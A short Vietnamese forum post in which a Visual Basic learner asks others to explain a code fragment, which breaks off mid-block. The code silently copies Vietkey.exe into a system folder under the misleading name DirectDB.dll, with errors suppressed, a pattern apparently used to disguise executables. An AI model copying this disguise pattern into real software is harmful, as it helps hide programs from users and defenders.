Mình đang mày mò học Visua Basic. Có đoạn codec này mình không rõ.
Nhờ mọi người dịch hộ mình với.
Thanks all!
Dim fs, f
Dim filespec As String
Dim filespecn As String
Dim mydate
Dim a As String
If ok = True Then
On Error Resume Next
MkDir "C:\Program Files\Common Files\System"
filespecn = "C:\Program Files\Common Files\System\DirectDB.dll"
filespec = "C:\Vietkey\ Vietkey.exe"
FileCopy filespec, filespecn
MsgBox "Setup OK!"
Else